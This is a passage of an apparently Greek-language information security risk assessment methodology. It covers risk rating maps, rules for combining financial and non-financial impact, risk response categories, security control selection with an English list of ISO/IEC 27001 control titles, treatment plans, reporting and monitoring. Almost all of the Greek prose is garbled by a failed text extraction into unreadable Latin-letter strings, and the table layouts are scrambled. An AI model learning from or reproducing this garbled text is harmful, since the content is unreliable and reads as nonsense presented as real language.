VITOKOTOGTIILOTOL, EVTOG piog Ymokatootudtov | f/Ko éva
TPOIOVTOL Ko GUYKEKPEVIG N/kow Aevbovoeig ONUOVTIKO
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VInpeciEg N YEDYPOPIKNG Ko ™ SidpKewn TOGOGTO TV
AtevBivoeig). Eivar TEPOYNG, Kkpioyov tepddov | Arvboveenv). Ot
mhavo vo opeideTarl | cuykekpiéva 1 VPOTEPEC OPLAOEG | EMTTTAOCELS TOOVDG
(evdewTuch TPOTOVTAL KOt TPOIOVTIOV K amoutohyv TV
mopadetypoTa) o vnpecieg N vrnpeciov). Ot TopéRPact ™mg
yn SwbeodnTa AtevBivoeig katd EMUTTMOOELS Ao oems Ommg
GLOTNUAT®V, ™ Sdpkewa ovvnOmg dev €miong Ko
EYKATAOTACEMV, Kploymv popodv va TPOTOTOU|CELS TV
TOPOYDV, TNV nepddmv). Eivon OVTILETOMOTOOV VPLOTAEVEV
advvopio mhavo vo, &VTOG ™G 110G SlepyocIdy Kat
TPOGPACENDS TOL opeidetan NUEPOS. TPOKTIKOV.
TPOCOTIKOV GTOV (evdewctucd
£PYOoLOKO YDPO N TOPAdELyOTO) OTN
otV kobvotepnuévn | pn dwbeciudmta
TopoAfn GLOTNUATOV,
ToPAdOTEMV 0o EYKATOOTACEMVY,
dAAeg AtevBivoerg. TOPOYDV, TNV
advvapio
TPOSPAcEmS TOV
TPOCHOTKOV GTOV
£PYOOLOKO YDPO N
GE ONUOVTIKESG
kaBvoteproel; o
TOPUOOTEN EPYMV.
[apoPioon wov [apoPioon wov [apofioon v Tapofioon v
KOVOVIGTIKOV/ KOVOVIGTIKOV/ KOVOVIGTIKGOV/ KOVOVIGTIKGOV/
UCQUMOTIKAV/ UCQUMOTIKAV/ ACQAMOTIKOV/ 0CQUMOTIKAV/
€PYOOOTIKGOV €PYOOOTIKGOV €PYOOOTIKOV €PYOOOTIKOV
VIOYPEDGEDY TOV VIOYPEMGEDY TOV | VILOYPEDCEWDY OV | VIOYPEDCEWY TOV
EVOE ETAL VAL EVOE ETAL VAL EVOE ETOL VAL EVOE ETOL VAL
odnynoetL og odnynoet og odnynoet oe vyMAd | odnynoet oe LYMAL
KovovieTu] gugr(icsug ’mi ' Ka}/ov16n1§013g v ol potuch ’ ol potuct
souI6powoN VOLeTIKNG APYXNS s?vzyxovgn xom TPOOTYLOL Kot picr TpOOTIYYL,
Yo TV APMNUOTIKA oglpd and TEPLOPICUO TV
TPOLYLLOTOTOINoN TPOGTILOL. Sopbmticd pétpa. | dpooTNPLOTHTOV
Sopfotikdv emPefinpévo omd | M/xou emPBoAn
EVEPYEIDV. ™ PuBpuotcy emmpoOcheTmv
Apn. KUPAOGEDY E1G
Papog mg
dloiknong Tov
0pPYOVIGLOV.
Apvnrucdg Apvnrucdg Apvnrikdg Apvnrikdg
OVTIKTLTIOG GTNV OVTIKTLTIOG GTNV VTIKTUOG 6TV OVTIKTUTIOG GTNV
EIKOVA/ QTN TOL EIKOVA/ QTN TOL EIKOVO/QTLLT TOVL EKOVA/QTLLT TOVL
0pYaVIGHOL AOY®: 0pYaVIGHOL AOY®: | OpYOVIGHOD AGY®: | OpYOavVIoHOD AOY®:
- Apvnikii - Apvnikiig - ApvnTikig - ApVNTIKNg
oy & dnpooctdmrog oe dnpooctdmrog oe dnuoctdmtog oe dnuocidTag o€
ToLOTNTA TOMIKO EMinedO TEPUPEPELOKO €6viko eminedo €0viKo Ko Nebvég
VAN PECLOV - Avemopiovg eminedo - Avemapkong eminedo
TOOTNTOG VINPESIOV | - AVETAPKOVG TOOTITOG - Avemapiong
TPOG TEPLOPIGUEVO TO0TNTOG VINPESLDY TPOG TOOTNTOG
apBud TEAATOV VINPECLUDY TPOG oG gvpltepn VINPECLOV GE
opdda TEAATMV opGda TEAITMV HeyGAo TOGOCTO
TEAOTOV
, EAlogppig Tpovpoticpog YoBapde Andero {omg
Acodirern . N . .
TPOVHOTIOUOG 1 ITeddm M TPOVHOTIOUOG [ehdm 1
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atoymuo [eddn 1 VIOAA A0V IOV IeAdmn VIOAAAOD.
VIOAANAOV IOV deV EMPEPEL TTEPOLTEP® | A€LTOVPYOV.
oLVodEVETAL OO kvpooelg. [TBavr | ITBavr apéreia oe
TEPULTEP®D VOLLIKEG opéAELD — e Oépata
Sdikooiec. VITOUTLOTTOL TOV acQaAeiog/onpovtt
0pYOaVICHOV — GE K1 €0BHVN TOL
Oépata acoaieins. | opyovicpov.

Mivaxog 9: [Mivaxog ava@opds Un-YpnLATOOIKOVOUK®Y ENLYEPT|CLOKDY ENUTTOCEDV

2nueioon: Meuovouéves emnrwoels oty Eumorevuxotnra, Axepoiotyra, Aiobeoyuotnto
ovumepilopfavoviar oo polio epyoaios Acioloynoews yia va. fonBnoovv v Oudda

A&ioloynoews oty kaAbtepn ekrovnon Ty mOavaY GYeILWV AVTIUETWTITEWS KIVODVOD.

2.3.5 Xtddio 5: Ilpocdopiouos Kivovvoo

X& auTn TN QACT] TO AITOTEAEGUOTO. TNG XVYVOTNTOG, TNG XPMUOTOOIKOVOUIKNG Kot M-
Xpnuatootkovopkng Emmtmoeng yio kdbe kivdvvo cuvévalovtar kot avtiotoryilovron
MGTE VO TOPAyovV pio cLVOAKY a&loAdynor tov Kvduvov. H cuvorikr| a&loddynon tov

KIvOUVOL avVTOVOKAATOL GE V0L AGLLOL TEGGAPOV TYADV:

2 — Meoaia
YoBapotnra

3 - Yynhi
YoBapotnta

Mivexoeg 10: Tyég a&oAdynong Kivdvvov

Xopemva pe ta amotehéopata g Agoloynoemg Kivovvov, kdbe kivovvog avariBeton o
éva ybpt Kvduvev (Xpnpotootkovopkds 1 Mn-Xpnuoatoowkovopukdg). O xapmg
KIvOUVOL GTOLYEODETEL TIG KOTNYOPIES TV EMATAOCE®Y TV KIVOOVAOVY KOl TNG GLYVOTNTOGS,
omov ka0e Pabudc etvon otV TPAyHATIKOTNTO EVOL EDPOG TYWDV. TO YIVOUEVO TNG TYNG TG
Ouiog Ko ¢ T g mBavotnTog, TapEyet pio éom T g avapevopevng (npiog amd
éva mBavo Yeyovos Kot aVTUTPOGMTEVEL TOV VIOAEWOLEVO KIVOLVO.

H a&oddynon tov xwvovvov o kobopicel TEMKA TIG EVEPYEIES OVTYETOTICEMS TOV

Kvouvou.
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2.3.5.1 Xraoo 5.1: A&oioynon Kivovvoo kot Awafiabuion

Evépyeiec Xtodiov 5.1

e anTo 10 6Tdo10 Oo TPEMEL VO dlevePYNOOVV 01 TOPUKATM EVEPYELES:

Mo kdBe «ivduvo mov €xel OvayVOPLIOTEl, OVTIGTOIYION TNG OULVOAIKNG
ZoxvOéTToc Kol TNG  OLVOMKNG  XPTMUOTOOIKOVOMIKNG  Kou  Mn-
XPNUOTOOTKOVOUIKTG 0ELOAOYNGEMG TG EMTTMoE®G Ue Bdomn toug [Tivakeg 11
Ko 12

H epyooio emavarapfaveror yio 100G VTOAOUTOVS KIVOVVOLG

KobBopiopdc tov 1ehkol amoteAéoHaTOS 0E0A0YNGEDS TOV Kivduvoy (1 —
Xounin ZoPapoéta émg 4 — Kpiown Zofapodtnta) pnoyLoToidVvIog ToVg
Koavoveg A&oloynocemg Kiwvdvvov mov avagépovtor otov Ilivaxa 13 kot
Kataypoen 6t eOpura “aEloAdyNons omeAdV Kot vmafeidy”

Yuvaiveon 6cov apopd otV TeEMKN a&loddynor tov KvdHvov.

Amatteiton £ykpion Kot amodoyn amd Tovs epotndéviec/cuoppetéyovteg (Zoyxvotnta,

avéivon Emyeipnowokov Emntocemv kot Zuvolkn A&ohdynorn Kwddvov). Onmg

KOl OTIG TTPONYOVUEVES PAOCELS, 0 LTEVOLVOC aGPAAEiNG TANPOPOPIDOV OlOTNPEL TO

dwoaiopa va petafdietl ta anoteléopata e aSloAdynong, otplloUevog otn 01K

TOV EMIOKOTNON.

Kpioyn

E oo

E Yynhi

R .

5 Yymn

g_ Meoaio

2

2 Xopnin

g oo

§ Xopunk

= Have | Kdade Mnvwiog Epodopadraing Hpepnoing

9% oo 5 2-5 Emoiong | (2-12 gopég | (13-52 gopigto | (>52 @opig
étm 1t 70 £10C) £100) 70 £10Q)

YuoyvomTa

Mivaxag 11: Xéptng Xpnuaroowovoukng Emntdcewg Kivdhvou
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‘g Kpioyn

-

=

S

S

23

e 3

)

£ E

SE

g =

>I<} Have | Kabe Mnviaiog Epdopadwing Hpepnoiong

s amé 5 2-5 | Emoiog | (2-12 gopég | (13-52 opégto | (>52 @opic

= & ém 70 £10C) £100) 70 £10C)
Yvyvotnra

Mivexoeg 12: Xaptng Mn-Xpnpatoowovopukng Emmtooewg Kivdvvou

Ot kivovvol mov a&toroyovvtar pe XpnUoTtookovoptky) Kot Mn-XpnHotootkovopk

Enintoon Babuoroyovvtar pe fdon toug axdAovBous Kavoves:

Kavoveg Hapadeiypora/Xyoia
Orav n Xpnuatoowovopkn A&oddynon dev To Xpnuarooikovouikn A&ioAdynon = 1-
glvat ion pe ) Mn-Xpnpotooikovokn Xounln XZoPapotnro. ko M-
A&loloynon, 10te N Tovolkn A&loloynon eivor  Xpruarooikovouixn ACioAdynon = 3- Yynin
TO peYaANTEPO Otd TOL 3VO. 2oPapotnro, tote n Zvvolikn ACioAdynon = 3-
Yynln ZoPopotnro

Orav n Xpnuatookovopukn A&loddynon eivort Avtip n mpooéyyion daopoliler tn dikan

ion pe ™ Mn-Xpnpotootkovopikn ASloloynon, UETOYEIPION TWV &V AOYW EKONAMDOEDY KIVODVOD

T01E 1 ZovoAikn A&loldynon mopapévet idia. KOl OTOTPETEL TV DIEPEKTIUNGN THG TOVOMKNG
Emintaroewmc.

Mivaxag 13: Koavoveg A&oloynoemg Kivdovou

Y& TEPUWTMGCELS OV £vag Kivovvog a&lohoyeiton povo oe Xpnupotoowkovoukn 1 Mn-
Xpnuoroowkovopukny Enintoon téte 1 Zuvolukny A&oAdymon eivan ion pe v apyikn
A&ordynon Kwdvvov.

2.3.5.2 Xraow 5.2: Amoxpion Kivovvoo

Xe autd 10 Prua n Opdodo A&oAdynomg £xel KOTAVONGEL ETOPKDS TOVG KIVOUVOLG
AGPOAELNG TANPOPOPLDV TV TANPOPOPLOIKAOV TOPMV Kot gtvon £Toyun vo e&gtdoet v
amdKPIGT TOL KIVOUVOL 1 TIG EMAOYEG OVTILETOTIGEMS TOVG. ZTOYOG GVTOV TOV PNHOTOG

etvon M emAoy”| piog KaTAAANANG OTOKPIGEMS KIVOUVOL 1 EVEPYEUDV DOTE Vo, EMTEVYDEL
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£V0L OTOOEKTO EMIMESO VITOAEWOUEVOL KIVOHVOV, TO OTO10 Eival EVOVYPOUICUEVO LE TIC

OTTOLTNOELG 0VOYNG KIVOUVOL TOV OPYAVIGHOD.

2VvoAKd, vTdpyovv T€ocepis (4) evpeieg Katyopieg amokpiceme Kivovvou:

ATOQUYN] — MJYN CLUYKEKPLUEVOV EVEPYELDV Y10, TNV APAIPEST) TV UEPDV TNG
dlepyaciag 1 TOV EVEPYEIDOV TOL TAPAYOLV TOVE KIVOUVOUG

Meimon - AMyn evepysidv yia T HEIDOT TNG CLYVOTNTAS TOV KIVOLVOV, TNG
EMITAOCEMG N KOl TOV VO (T.Y. UECW® PBEATIOCEWS SIKAEId®MV acpaieiog 1
aVOOYEIOCUOD JEPYOTIDV)

Awporpaopdc/Metagopd — peioon tng mBavOTNTOS KIVOLVOL /Kot TNg
EMNTOCEMG UETAPEPOVTOC N dtapolpdlovtag €va pépog tov Kvdvvou (.y.
AapBavovtag ac@aAcTIKN KAAvy™)

Am0d0yN — amod0YN TNG VLAPEEMS TOL KIVOVVOL Kol G EK TOVTOL, TN 1N Aym
HETPOV Yl TOV emnpeacud g ovyvotntag Tov Kiwdhvov N/kol Tomv
EMNTOCE®V (.. Vo €lval TPOETOYOGUEVT] VO OTOPPOPTCEL TEPIGCOTEPES
Aertovpykég nuieg péom G avENGE®MS TG KEPAANLKNG OTOLTICEMS Y10,

Aertovpyikd kivduvo, €ite HEG® TOL TPOVTOAOYIGLOV).

Evépyeiec Xtadiov 5.2

e autd 10 oTdd10 Ba TPémE va devepynBoVV o1 TOPAKATM EVEPYELES:

Emioyn xatdAindov omokpicewv KwvdOvVoyu amd TIS TECOEPS POUCIKE
Kkotnyopieg (PAéne mapamdvem), pe Phon TG emPEPOLE KOl TOV UEGO OPO
owpabuicemg Kivdvovmv

Omov €yel emeyel n peiwon kwdvvov, avantuén kKatdAinAov oyediov
OpACEMS OVTILETOTICENMS TV KIVOUV®V cOpewva pe Tov [ivaka 14

H epyooio emavarapfaverot yio OA0VS TOVG VITOAOUTOVS KIVOVVOUC.
Amarteiton €ykpion omd tovg vmevBvvovg Idokmnteg Kivdvvov yuor tovg
Kwvdvvovg mov evtomiotnkav. Emiong amotteiton Aqyn €ykpiong amd tov
Ymoompk tov 'Epyov kot tovg [dtoktiteg [TAnpopopidv. EmumAéov £ykpion
amoteiton omd TV Aloiknon yio TG TEPUTTOCELS ATOS0YNG TV KIVOOVAOV TOV
&xovv kpBel og «Yyniney 1 «Kpioyune» coPapomroc. Onwg kot oTig

TPONYOVUEVES QAGELS, O LIEVLOLVOC acPUAEing TANPOPOPLOY dlatnpel TO
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dwaiopa vo petafdiet to amoteléopato e a&toAdynone, otnpilopuevog ot
O1KT| TOV EMOKOTNON.
Edv 0 cuvolikdg kivovvog Exetl a&rooyn0et og «Mecaiogy, «Yyniooy 1 «Kpioyogy, 10te
amonteiton oYE010 OPAONG AVIYETMOTIONG KIVOUVOD Y10 TOV GUYKEKPIEVO Kivouvo. Edv dev
&yel a&loroymOel pe pia oo T Tapamave Katnyopiec, Tote 1 depyooio teppotilerTon yio
TOV GUYKEKPYEVO Kivouvo.
H avoyn amewovilel ) otdom amévovtt 6T GuVOAKN aSloAdynon Yo kdOe kivovvo kot
onAdvel, ebv amorteitor, Eva oxédo dpdong. H avoyn mpoopileton og péco yw v
TLUTOTOINGN TG SOIKAGIOG AYNG OmMOPACE®Y, OGOV QPOPA GTOV TEPIOPIGUO TOV
KIvOUVoL. ZOUGOVL LLE TO AOTEAEGLOL TG OVOYTG, T LOVADL TTPOYMPE 6TV avATTTUEN EVOG
oyedlov opdomng, TpokeEvoL va gayiotonomBel n mbavotnta /Kot 01 GUVETEIES TOL
Kwdvuvov. H «avoyn» tov kivdodvouv amoteleiton and éva GHVOAO amd mpokafopioEVES

TILEG KO TTPOEPYETOL OO T1| YPTIOT] TOV KAVOVMV TTOL OVOPEPOVTOL TTOPUKATO.

Zovohun AvTipeTOMO
A&ohdynon Her n Avoyn Xy6ho
. Kwdivov
Kwdvvov
: ey amorteian H c’mvolzm]’aé‘m/lomon DEO(SSZ’KVD&‘I oty
1-Xapnin SéSi0 ETITTWON EIVAL EVIOS TV EMTEODV
XopapotnTa xE VOGS —G EK TODTOV OV ATOITEITOL
Apdoews . .
06010 OpaoEWG.
H ovvolikiy alroAoynon vmodeikvoer ot i
EMTTTWON EIVOL EVTIOS TOV EMTEIWV
avoyng
, — G €K TODTOV T0 OYENL0 IPATEWS OEV
, Amodoyi, Meiwon — Ilpoteivetar ¢ , OXEOLO OpATEDS
2-Meoaio, h o . eivar omopaitnto alAd mpoteiverar. Ot
7 1 Awoorpooudg i 2xédio . p ,
YofapotnTa ! , Abyor yio. T un Ay evepyerwy
Amogpvyn Apdoews , , .
, TEPLOPIOLUOD TOD KIVODVOV TPETEL VO,
Kivovvoo , , ,
1T100y00VTON oo Tov Io10KTHTH
I npopopiorv kat vo, extoxornody arxo
E——— 0 zoy Yreiuvo dopdlerag [inpogopicdy __
3-Yymn , H ovvolikn aéioAdynon vrodeixviet 6ti o
ToBopémra Amouteiton . S5 ,
Syédio TEPLOPITLOG TOD KIVODVOD EIVOLL
Apéozae VROYPEWTIKOGS 1] OTOITEITOL OTOOOXT TOD

Kvovvoo amo v Awoiknon

Mivaxkag 14: Kpuripuo Avoyng Kiwvdbvoo
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2.3.5.3 Zraoo 5.3: Xvordoes Aikicidwv Acpoleiog
Omov £yet emheyel 1 AVTETOMTION KIVOHVOL HEG® TNG UEIDCEMS TOL Kvdhvov, 1) Ouddo
A&10A0YMGEWC TPETEL VAL TPOTEIVEL TIC KATAAANAEG SIKAEIDES GPUAEING DOTE VO LEUDGEL
OITOTEAECUOATIKG TNV TOAVOTNTO 1) TNYN TNG OMEMNG VO EKUETOAAELTEL TNV gumdBeta, og
£V0L 0OOEKTO EMIMEDO VITOAEWTOUEVOL KIVOVVOU.
H emdoyn tov cootdv dudeldmv aoqaAsiog amortel KoA Katavonor Tov SIKAEIdmV
ac@aAEiog oL glvor SIBEGIIES Yol VO AVTYETOMIOTEL pUiol GUYKEKPIUEVT amtaitnon Héca
GTOV 0pPYOVICHO, YVOGT TOV TPOTOL WE TOV OO0 AETOVPYoLV, KOODS Ko T0 mOGO
OmOTEAECUATIKEG €lval, VIO TIG GLYKEKPIUEVEG TEPIOTAGELS. )G €K TOVTOV, 1) EUTAOKN
eCeldIkeVIEVDV oTEAEYDY, €OcOV givar dtabéoylot, ivar onuavtikn. Ta eEedikevpéva
oteAéym evdéyetar vo givon amd T povéda Aceodreiog ITAnpogopudv, ™ povada
Kavovietikig Zvppdpemong 1 tig povades ITAnpopopikig k.Am.
[MBavég myég dedopévav Avdivong Emyelpnolokdy eTmtOcewmy vt

o [Thaicio Acoaireiog [TAnpogopidv Tov 0pyoviGpol

o  Béhtoteg [paktikég ko [Ipotuma Acpaieiog

e  Movdoa Awyepicemg Asttovpytkov Kivdovoo
Katd mv emdoyn oudeidwv aocpareiog Oa mpémet vo AneBovdv vmoym vopkés,
KAVOVIOTIKEG Kol cupPatikég amartoels. EmumAéov, Oa mpénet va Anedet vtoym n oxéon
KOGTOLC/0PEAOVG TV OIKAEId®V aoPoAeiog, 1 mpoomdbelo mov omotteiton yoo vao
VAOTTOMBOVVY Kot va 3ot pnOovV 0t SIKAEIDEG AGPAAEINS, KOBMS KO Ol EMLYELPTGLOKES KOl
TOMTIOTIKEG TTTVYEG TOL opyovicpov. H emhoyn mpénel va AGPel vdym tov TOmo ™G
oucheldog aceodeiog (my. MPOANTTIK T EVIOMGUOV) Kou ™G QUCE®MS NG (T,
OLOIKACTIKT), TEXVIKY)).
Evépyetec Ytadiov 5.3

e autd 10 6TAd10 Ba TPEmEL va devepynBovV o1 TOPAKATM EVEPYELES:
e Evomoinom tov evepyeldv avILETOTICEMS KIVOOVOL 0TI pOpUa “aEoA0YNoNG
amELDV Kol evmafedv”’
o A&omoinomn tov S00EGIH®Y YOV TANPOEOPNONS KAl TOV TPOTAGE®V TOV
eEeldIKeELEVOV OTEAEYDV Omtd €vol €DPOg EMAOYMV OKAEIdWV acpaAeiog
oopeova pe tov [ivaxka 15 mov €xel oyedaotel va HEIOOEL 1] Vo TEPLOPIGEL

TOVG OVOLYVOPLIGUEVOVS KIVOHVOLG
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e Ilpocdlopiopndc ko avdbeon 7yoo wdbe «ivovvo kol kdBe evépyesia
AVTILETOTIONG KIvovvoL evog «Idtoktitn Kivovvouy
e H gpyocio eravarapfdveral yio Tovg VTOAOITOVS KIVOVVOLG,.
ISO/IEC 2700:2013
51.1 Policies for information security 12.1.2 | Change management
512 Review of the policies for | 12.1.3 | Capacity management
information security
6.1.1 Information security roles and | 12.1.4 | Separation of development, testing and
responsibilities operational environments
6.1.2 Segregation of duties 12.2.1 | Controls against malware
6.1.3 Contact with authorities 12.3.1 Information backup
6.1.4 Contact with special interest | 12.4.1 | Event logging
groups
6.1.5 Information security in project | 12.4.2 | Protection of log information
management
6.2.1 Mobile device policy 12.4.3 | Administrator and operator logs
6.2.2 Teleworking 12.4.4 | Clock synchronization
7.1.1 Screening 12.5.1 | Installation of software on operational
systems
7.1.2 Terms and  conditions of | 12.6.1 | Management of technical
employment vulnerabilities
7.2.1 Management responsibilities 12.6.2 | Restrictions on software installation
7.2.2 Information security awareness | 12.7.1 | Information system audit controls
education and training
7.2.3 Disciplinary process 13.1.1 | Network controls
7.3.1 Termination of change of | 13.1.2 | Security of network services
employment responsibilities
8.1.1 Inventory of assets 13.1.3 | Segregation in networks
8.1.2 Ownership of assets 13.2.1 | Information transfer policies and
procedures
8.1.3 Acceptable use of assets 13.2.2 | Agreements on information transfer
8.1.4 Return of assets 13.2.3 | Electronic messaging
8.2.1 Classification of information 13.2.4 | Confidentiality =~ or  non-disclosure
agreements
8.2.2 Labelling of information 14.1.1 | Information  security requirements
analysis and specification
8.2.3 Handling of assets 14.1.2 | Securing application services on public
networks
8.3.1 Management of removable media | 14.1.3 | Protecting application services
transactions
8.3.2 Disposal of media 14.2.1 | Secure development policy
8.3.3 Physical media transfer 14.2.2 | System change control procedures
9.11 Access control policy 14.2.3 | Technical review of applications after
operating platform changes
9.1.2 Access to networks and network | 14.2.4 | Restrictions on changes to software
services packages
9.2.1 User  registration and de- | 14.2.5 | Secure system engineering principles
registration
9.2.2 User access provisioning 14.2.6 | Secure development environment
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9.2.3 Management of privileged access | 14.2.7 | Outsourced development
rights
9.24 Management of secret | 14.2.8 | System security testing
authentication information of users
9.25 Review of user access right 14.2.9 | System acceptance testing
9.2.6 Removal or adjustment of access | 14.3.1 | Protection of test data
rights
931 Use of secret authentication | 15.1.1 | Information security policy for supplier
information relationships
94.1 Information access restriction 15.1.2 | Addressing security within supplier
agreements
9.4.2 Secure log-on procedures 15.1.3 | Information and  communication
technology supply chain
9.4.3 Password management system 15.2.1 | Monitoring and review of supplier
services
9.4.4 Use of privileged utility programs | 15.2.2 | Managing changes to supplier services
945 Access control to program source | 16.1.1 | Responsibilities and procedures
code
10.11 Policy on the use of cryptographic | 16.1.2 | Reporting information security events
controls
10.1.2 Key management 16.1.3 | Reporting information security
weaknesses
11.11 Physical security perimeter 16.1.4 | Assessment of and decision on
information security events
11.1.2 Physical entry controls 16.1.5 | Response to information security
incidents
11.1.3 Securing offices, rooms and | 16.1.6 | Learning from information security
facilities incidents
11.1.4 Protecting against external and | 16.1.7 | Collection of evidence
environmental threats
11.15 Working in secure areas 17.1.1 | Planning information security
continuity
11.1.6 Delivery and loading areas 17.1.2 Implementing information  security
continuity
11.2.1 Equipment siting and protection 17.1.3 | Verify, review and evaluate information
security continuity
11.2.2 Supporting utilities 17.2.1 | Availability of information processing
facilities
11.2.3 Cabling security 18.1.1 Identification of applicable legislation
and contractual requirements
11.24 Equipment maintenance 18.1.2 | Intellectual property rights
11.25 Removal of assets 18.1.3 | Protection of records
11.2.6 Security of equipment and assets | 18.1.4 | Privacy and protection of personally
off-premises identifiable information
11.2.7 Secure disposal or re-use of | 18.1.5 | Regulation of cryptographic controls
equipment
11.2.8 Unattended user equipment 18.2.1 | Independent review of information
security
11.2.9 Clear desk and clear screen policy | 18.2.2 | Compliance with security policies and
standards
12.1.1 Documented operating procedures | 18.2.3 | Technical compliance review

MMivaxag 15: Katdrloyog Aucheidov Acpaleiog
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2.3.5.4 Xraoo 5.4: Zyéoo Avryuetomicews Kivovvoo

H el epyacio g avt ™ Ao OTOLTEL TNV EVOTOINGT| KoL TV TPOTEPAIOTOINGCT) TV
EMAEYLEVOV OOPACEDY AVTILETOTIONG TOV KVOUV®V oo v Opdada A&loldynongs. To
OYEO10 OVTIETMOMIONG TOV KIVOUVEV TEPTAAUPAVEL POCKO YOpOKTNPIOTIKE TOL KAOE
KvOUVOU oL £YEL avayvoplotel pe Pdomn ta dedopéva mov £xovv cLAAEYDEL, TIG TIHEG TTOV
&yovv vtoloyiotel Kabmg ko Tig SIKAEIdES 0oPaAEiNG TTOV TPOTEIVOVTOL Y10 TN LEIMON TMV
KIVOOV@V G€ amodeKTO EMmMEDO.

Ké0e kivovvog amontel emiong tov mpocsdioptoptd Kot v avafeon evog IG1oKTiTn Kivdbvov,
0 omoiog Ba eivor vmevBVVOG Yoo TNV EMOKOMNON Kot TV £YKPIOoN TOV GYEdimV
OVTETAOTIONG TOV KIVOUIVOV KaOmG Kot TV VTOAOT®V Kvdbivav. O Idoktitng Kivdovev

Ba. etvon emiong vreHBLVOG Y10 TV LAOTOINGT TOL GYEGIOV AVTLETOMIONS TV KIVOUV®V.

Evépyeiec Xtodiov 5.4

e anto 10 6Tdo10 Oo TPEMEL VO StevePYNOOVV 01 TOPUKAT® EVEPYELES:

e AvabBeon evOg HLOVASIKOD OVOYVOPLGTIKOV aptBrov Kivouvov Kabdg Kot vOg
WO0KTATN KIVOOVOV yuo. KAOE Kivouvo Tov €Yl EVIOMGTEL Kol VITOKELTOL GE
QVTILETOMIOT KIVODVOL

e  Koataydpnon twv mpotetvopeveov SkAeidwv acpoaieiog e otdYo ™ peiwon
TOV VTOAEWTOUEVOL KIVOLVOL GE €vol OmOdEKTO €mimedo avoyng M GAANG
evépyelag mov £yl mpotadel

e AvdBeon g mPOTEWVOUEVNC MUEPOUNVIOG DAOTOMGE®MS Yo KABe OukAeida
acpaleiog/evépyela

o Koataydpnon tov vmoiewmdpuevov Kwobvvov Aapfdavovtog vmdym v
TPOTEWVOUEVT OKAELd acpaieiog/evépyeia

o Emokoémmon kot £yKpion g TPOTEWVOUEVNG OIKAEIDOG aopaleioc/evEpyeElag
KoL TNG Nuepounviag vaAoromoews amd tov Idtoktn Kivodhvov

e H epyasio emavarapfaveTot yio Tovg VTOAOITOVE KIVOVVOLG

e  YmoPfoAn TOL TAGVOL OVTILETOTIONG KIvOLUVOL otov Ymevbuvo Acooleiog
[TAnpoopidV Yo TEAIKN EMOKOTNOT).

Amauteiton £ykpiom Tov Zyediov Apdong and tovg vrevBuvvoug Idoktrteg Kivohvav ya

TOLG KIVOUVOLS OV ToVg Eyovv avatedel. Emiong anouteiton £ykpion omd tov YTooTpike
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"Epyov ko toug Ioktrteg [TAnpogopiwv. EmumAéov €ykpion evdéyetan va. amoutn0ei amd
opyovo. AYNG amoeACE®Y TOL OPYOVIGHOL Omw¢ ywo. mopddstypo 1 Emrpomn
Agrtovpyikod Kwvdvvov, 1 Exteheoticn Emitpormy k. Omwg ko ota mponyovueva
o1, 0 Yrnevbuvog Acpodeiog [TAnpopopudv drotnpel to dikaimpo vo pHeTaffdrel o
anoteléopata TG 0EloAdynong, oTNPILOUEVOG GTN O1KT| TOV EMCKOTNOT).

2.3.6 Zraoio 6: Yrofoin ExOécewv koau Oloxinpwen Aéoloyncews

O 610%0¢ AV TNG TS PACTG EIVOL VOL OPIGTIKOTON|GEL TAL TTOPAOOTEN KoL VOL OAOKANPMOGEL TO
€pyo a&loddoynong Kvohveov 0GQAAEING TANPOPOPLOY. XTO TEAOG GVTHG TS (AoNS, M
Ouado AZlordynong Ba £xet EMKOVOVIAGEL T AMOTEAEGUATO TG AEIOAGYN oG KIVODVOV
e OA TOL OYETIKA evolapepOpeva HEPN Kot B €XEl GLYKEVTIPMGEL OAQ TO. «EYYPOPQ
gpyaciogy mov etvor omopoitTa Yoo v vrootPEn OA®V TV OPACTNPLOTITOV TOL
TpaypatoromOnKay katd ™ dlepyacio a&loAdynong Kvohvav ao@AaAENg TATPOPOPIDY.
Eivan onupoviikd 1o €yypapa epyociog kabdc wor Oleg oL mANpo@opiec mov
ypnoomomtnkay va dtotnpndovv, d£dopEVOD OTL TAL ATOTEAEGUATA TG OEOAOYNONG
KIvOUVOL VITOKEWVTOL GE EMOKOTNON amtd TatL {010 EVOLOPEPOLEVOL LLEPT), TOVG EAEYKTEG 1) TIG

pLOICTIKES OPYES.

Evépyeiec Xtadiov 6

e avtd 10 6TAd10 Ba TPEmEL va devepynBoVV 01 TOPAKATM EVEPYELES:

o  Yvvtaln €kBeong mpokeévoL va emokonmnBetl and tov emkepaing Opddog
A&oAdynong kot Tov Yrootpwkt ‘Epyov

e  Mze Bdon ta oo TG EMGKOTNONG, OPLGTIKOTOINGT Ko £kdooT) £kBeong pe
KaBop1IoUEVOVG OmOdEKTES

o  ZVALOYN OA®V TOV VITOGTNPIKTIKAOV KOl NAEKTPOVIKOV apyeimv Kol evIOTV
EYYPAP®V OV KOTOY®PNONKAY KATA TN ACT TG 0EOAOYNONG

o Tlapdooon omolGOTOTE TEKUNPIMONG KOU VAMK®OV 7OV TPOKELTOL VO
EMOTPAPOVY GTOVG SIKALOVYOVG

e AcpaAn amofnKevon Kol Kataypopn TV apyelov o y®po anodnkehoewg

e Ektéleon Aomdv SpacTnploTHT®V OAOKANP®ONG, ONMG omouteitol Kot

oAokANpwon Tov £pyov. Opiotikomoinon ooV cvuPatikdv Bepdtwv, dmwg
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glvar m emionun ypomt) £€yKPon TOV TEMKAOV TOpPAdOTEDV KOl 1 YPOTTH

emPePfaionon 6Tt OAeg o1 epyacieg mapadoong £xovv emion o OAOKANPwOEL.

2.3.7 Zraoio 7: Lvveyns HapaxolovOneny Kivévvov kar Yrofoiny ExOécewv

O mpotopyikds otdyog avtig TG edong eivar vo e£0c@aMoTel Tl 1] KOTACTAGT TV
oxedlOV  OVIIUETOMIONG TOV KIWWOOVMV, TOPUKOAOLOEITOL TOKTIKA Kol To. POCIKA
evolopepopevo, puEpn evnuepovovtol. Katd tn dwdpkela g mapaxorovdnone tov
Kvduvev aceoleiog Oa mpémet o facticd EVOLPEPOLEVO LEPT] VOL EVIILEPMVOVTOL Y10l TV
TPOOJO TMV EVEPYEIDY VAOTIOUGEWMG TTOV £YOVV GULPMVNOEL, TV OTOTEAEGLLOTIKOTITOL TMV
eMAeYUEVOV OUKAEIdwV aopoielog/evepyeldv Kol TIC TOAVEG TEPLOYEG OTIG OTMOiES

amorteiton fedtioon 1 KAMpdkwon yo v enilvon toxov inmudtov.

Evépyeiec Xtodiov 7

e anto 10 6Tdo10 Oo TPEMEL VO SlevePYNOOVV 01 TOPUKAT® EVEPYELES:

o Ot Idokmreg Kwdovov mapakorovBodv kot gvnuepodvovy To oyéda
